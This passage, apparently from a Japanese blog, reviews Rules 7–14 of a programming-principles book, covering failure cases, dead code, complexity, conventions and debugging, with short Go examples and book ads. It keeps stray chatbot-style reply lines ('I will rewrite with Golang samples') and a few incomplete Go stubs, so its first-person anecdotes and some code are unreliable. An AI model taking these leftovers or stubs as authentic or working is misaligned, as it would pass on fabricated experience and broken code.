Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn\'t Running Doesn\'t Work第8章「Code That Isn\'t Running Doesn\'t Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn\'t Running Doesn\'t Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7\xb12個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,Jo\xe3o Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\\"invalid payment: %w\\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\\"failed to deduct balance: %w\\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\\"failed to create transaction: %w\\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\\"process failed: %w\\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\\"Error occurred. Initial state: %+v\\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 